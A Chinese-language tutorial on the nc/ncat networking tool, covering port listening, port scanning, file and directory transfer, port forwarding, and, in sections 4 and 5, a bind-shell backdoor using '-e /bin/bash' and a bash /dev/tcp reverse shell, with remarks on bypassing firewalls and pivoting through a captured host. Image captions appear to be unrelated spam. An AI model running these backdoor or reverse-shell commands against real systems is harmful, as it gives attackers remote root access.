ncat/nc既是一個端口掃描工具,也是一款安全工具,還能是一款監(jiān)測工具, 它可以用來在網(wǎng)絡(luò)上讀、寫以及重定向數(shù)據(jù)。 同時它還能創(chuàng)建任意所需的連接,由于有這么多的功能,它被譽為是網(wǎng)絡(luò)界的瑞士軍刀。 每個運維人員都應(yīng)該知道并且掌握它。

在CentOS 7/RHEL 7的最小化安裝中,nc并不會默認(rèn)被安裝。 所以需要用下列命令手工安裝。

[root@Linuxtechi ~]# yum -y install nmap-ncat

運維人員使用nc可以用來審計系統(tǒng)安全,用它來找出開放的端口然后保護這些端口。 還能用它作為客戶端來審計Web服務(wù)器、telnet服務(wù)器、郵件服務(wù)器等, 通過nc我們可以控制發(fā)送的每個字符,也可以查看對方的回應(yīng)。

下面看幾個nc常用例子。

1、監(jiān)聽入站連接

完整的命令是這樣的:

[root@localhost ~]# ncat -l port_number

通過“-l”選項,ncat可以進入監(jiān)聽模式。指定該參數(shù),則意味著nc被當(dāng)作server,偵聽并接受連接,而非向其它地址發(fā)起連接。

例如:

[root@localhost ~]# ncat -l 8080

服務(wù)器就會開始在8080端口監(jiān)聽入站連接。

2、使用nc探測端口狀態(tài)

不同版本,nc的用法稍有不同,在CentOS6.x版本下,可以通過nc掃描系統(tǒng)中開放了哪些端口,例如:

[root@nnmaster ~]#   nc -nvz 172.16.213.155 80
Connection to 172.16.213.155 80 port [tcp/*] succeeded!

[root@nnmaster ~]#   nc -nvz 172.16.213.37 20-23
nc: connect to 172.16.213.37 port 20 (tcp) failed: Connection refused
nc: connect to 172.16.213.37 port 21 (tcp) failed: Connection refused
Connection to 172.16.213.37 22 port [tcp/*] succeeded!
nc: connect to 172.16.213.37 port 23 (tcp) failed: Connection refused

其中:

? ”-n“表示直接使用ip地址,而不通過域名服務(wù)器
? ”-v“輸出更詳細(xì)的指令執(zhí)行結(jié)果。
? ”-z“使用0輸入/輸出模式,只在掃描通信端口時使用

而在CentOS7.x版本下,nc要探測端口的話,使用方法如下:

nc -w 3   IP地址    端口 < /dev/null && echo "tcp port ok"

其中,”-w“參數(shù)是表示超時秒數(shù),后面跟數(shù)字。

例如:

[root@SparkMaster ~]# nc -w 3 172.16.213.170 8080 < /dev/null && echo "tcp port ok" 
tcp port ok

如果端口是通的,那么將返回“tcp port ok”,反之返回“Ncat: Connection refused“提示。同理,要探測udp端口狀態(tài),需要使用”-u“參數(shù),例如:

nc -u -w 3 IP地址 端口 < /dev/null && echo "udp port ok"

3、通過nc進行文件、目錄傳輸

nc還能用來在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因為絕大多數(shù)系統(tǒng)默認(rèn)都安裝了ssh/scp。 不過如果恰好你遇見個沒有ssh/scp的系統(tǒng)的話, 你可以用nc來作為后備。

首先,在A機器(從這個機器拷貝數(shù)據(jù)文件,ip為172.16.213.230)啟動10000端口,進入監(jiān)聽模式,執(zhí)行如下命令:

[root@localhost ~]# nc -l 10000 --send-only  < jdk1.8.0_171.tar.gz

接著,在B機器(拷貝文件到這臺機器)執(zhí)行如下命令:

[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only > jdk.tar.gz

jdk1.8.0_171.tar.gz是要發(fā)送的文件,jdk.tar.gz是傳輸?shù)紹機器上后的文件名。”-–send-only“選項會在文件拷貝完后立即關(guān)閉連接。 如果不加該選項,需要手工按下ctrl+c來關(guān)閉連接。同理,”–recv-only“是接收完畢后自動關(guān)閉連接。

發(fā)送一個文件很簡單,但是如果我們想要發(fā)送多個文件,或者整個目錄呢,是的,一樣很簡單,只需要使用壓縮工具tar,壓縮后發(fā)送壓縮包即可,然后在接收端自動解壓。

首先,在A機器(發(fā)送端,ip為172.16.213.230),要將prometheus目錄發(fā)送到遠(yuǎn)程B主機,執(zhí)行如下命令:

[root@localhost ~]# tar -cvf - prometheus | nc -l 10000 --send-only

接著,在B機器執(zhí)行如下命令,將接收A機器傳輸過來的prometheus目錄,并保存到B主機的當(dāng)前目錄下:

[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only | tar -xvf -

當(dāng)然,也可以選擇性的指定要發(fā)送的目錄,例如要發(fā)送A機器上的/usr/local/nginx目錄到B機器的/app目錄下,可以執(zhí)行如下命令:

在A機器執(zhí)行:

[root@localhost ~]# tar -cvf - /usr/local/nginx | nc -l 10000 --send-only

在B機器執(zhí)行:

[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only | tar -xvf - -C /app

這樣執(zhí)行后,A機器上的/usr/local/nginx目錄就發(fā)送到了B機器的/app目錄下了。

4、通過nc創(chuàng)建一個shell后 門

nc命令還可以用來在系統(tǒng)中創(chuàng)建后 門,并且這種技術(shù)已經(jīng)被黑 客大量使用,為了保護我們的系統(tǒng)安全,我們需要知道它是怎么做的。

首先,在A服務(wù)器(172.16.213.230)上執(zhí)行如下命令,創(chuàng)建后門:

[root@localhost local]# ncat -l -k 10000 -e /bin/bash

”-e“標(biāo)志將一個bash與端口10000相連。也就是說,現(xiàn)在客戶端只要連接到服務(wù)器上的10000端口就能通過bash獲取我們系統(tǒng)的完整訪問權(quán)限。

”-k“選項表示強制nc待命,當(dāng)客戶端從服務(wù)端斷開連接后,過一段時間服務(wù)端也會停止監(jiān)聽。 但通過選項”-k“我們可以強制服務(wù)器保持連接并繼續(xù)監(jiān)聽端口。

接著,在任意能訪問172.16.213.230的10000端口的客戶端上執(zhí)行如下命令,即可直接登錄172.16.213.230的系統(tǒng)。如下圖所示:

[root@SparkMaster nginx]# ncat 172.16.213.230 10000
瀏覽器errconnectionrefused免費的adspower指紋瀏覽器插圖

5、nc反向shell的應(yīng)用

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同于其他配置,這里服務(wù)器使用的是由客戶提供的服務(wù)端口。

首先在遠(yuǎn)端任意一個客戶端主機A(IP為172.16.213.231)監(jiān)聽一個端口,端口可以隨意指定,這里指定一個20000端口:

[root@SparkMaster indices]# nc -l 20000

這樣,20000在172.16.213.231主機上已經(jīng)監(jiān)聽起來了。

接著,在另一個服務(wù)器B(ip地址為172.16.213.230)上執(zhí)行如下命令:

[root@localhost local]# /bin/bash -i>& /dev/tcp/172.16.213.231/20000 0>&1 

現(xiàn)在回到A主機這個客戶端上來,等待一分鐘后,此終端會自動進入到shell命令行,注意看,這個進入的shell就是172.16.213.230主機了。

[root@SparkMaster indices]# nc -l 20000
[root@localhost ~]# ifconfig|grep eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.213.230  netmask 255.255.255.0  broadcast 172.16.213.255
        inet6 fe80::a00:27ff:feac:b073  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:ac:b0:73  txqueuelen 1000  (Ethernet)
        RX packets 17415571  bytes 20456663691 (19.0 GiB)
        RX errors 0  dropped 156975  overruns 0  frame 0
        TX packets 2379917  bytes 2031493944 (1.8 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

看到了吧,順利進入B服務(wù)器了,還是root用戶,接下來你想干什么,都行。這個反彈shell就是先入 侵B服務(wù)器,然后在客戶端就可以操作B了。

最后,解釋下上面植入的那個反彈shell和redis命令。先看這個反彈shell的內(nèi)容:

/bin/bash -i>& /dev/tcp/172.16.213.231/20000 0>&1

首先,“bash -i”是打開一個交互的bash,這個最簡單。

其次,/dev/tcp/是Linux中的一個特殊設(shè)備,打開這個文件就相當(dāng)于發(fā)出了一個socket調(diào)用,建立一個socket連接,讀寫這個文件就相當(dāng)于在這個socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/。

接著,“>&”其實和“&>”是一個意思,都是將標(biāo)準(zhǔn)錯誤輸出重定向到標(biāo)準(zhǔn)輸出。

最后,“0>&1”和“0<&1”也是一個意思,都是將標(biāo)準(zhǔn)輸入重定向到標(biāo)準(zhǔn)輸出中。

你要問這個0、1、2是什么意思嗎,那我也解釋下吧,在linux shell下,常用的文件描述符有如下三類:

(1)標(biāo)準(zhǔn)輸入 (stdin) :代碼為0,使用 < 或 << ;
(2)標(biāo)準(zhǔn)輸出 (stdout):代碼為1,使用 > 或 >> ;
(3)標(biāo)準(zhǔn)錯誤輸出(stderr):代碼為2,使用 2> 或 2>>。

好了,基礎(chǔ)普及完了,說下上面這個反彈shell的意思吧。綜上所述,這句反彈shell的意思就是,創(chuàng)建一個可交互的bash和一個到172.16.213.231:20000的TCP鏈接,然后將bash的輸入、輸出錯誤都重定向到172.16.213.231的20000監(jiān)聽端口上。其中,172.16.213.231就是我的客戶端主機地址。

6、通過nc進行端口轉(zhuǎn)發(fā)

為什么要端口轉(zhuǎn)發(fā)呢?因為防火墻,或者外網(wǎng)訪問內(nèi)網(wǎng)的原因。比如防火墻不允許訪問本機的3389端口怎么辦,或者外網(wǎng)要想訪問一臺內(nèi)網(wǎng)機器怎么辦。這時端口轉(zhuǎn)發(fā)可以很好的解決這些問題。

常見的應(yīng)用場景有:

(1)對于防火墻禁止訪問某些端口的問題,比如3306端口,我們可以將利用機器的其它端口,比如5000端口做端口轉(zhuǎn)發(fā),從外界接受數(shù)據(jù),轉(zhuǎn)發(fā)給本機的3306端口,從而繞過防火墻。

(2)對于無法訪問內(nèi)網(wǎng)特定機器的問題,我們可以先抓取內(nèi)網(wǎng)一臺機器,然后利用這臺主機進行端口轉(zhuǎn)發(fā),接受外網(wǎng)的數(shù)據(jù),將數(shù)據(jù)轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標(biāo)機器的特定端口。

nc實現(xiàn)端口轉(zhuǎn)發(fā)很簡單,看一個例子:

我們通過選項”-c“來用nc進行端口轉(zhuǎn)發(fā),實現(xiàn)端口轉(zhuǎn)發(fā)的語法為:

[root@localhost ~]# ncat -l  80  -c  'ncat -l 8080'

這樣,所有連接到80端口的連接都會轉(zhuǎn)發(fā)到8080端口。

下面是個具體應(yīng)用案例,如下圖所示:

瀏覽器errconnectionrefused免費的adspower指紋瀏覽器插圖1

從上圖可以看到,通過nc成功實現(xiàn)了端口轉(zhuǎn)發(fā)請求,可見通過nc做端口轉(zhuǎn)發(fā)非常簡單。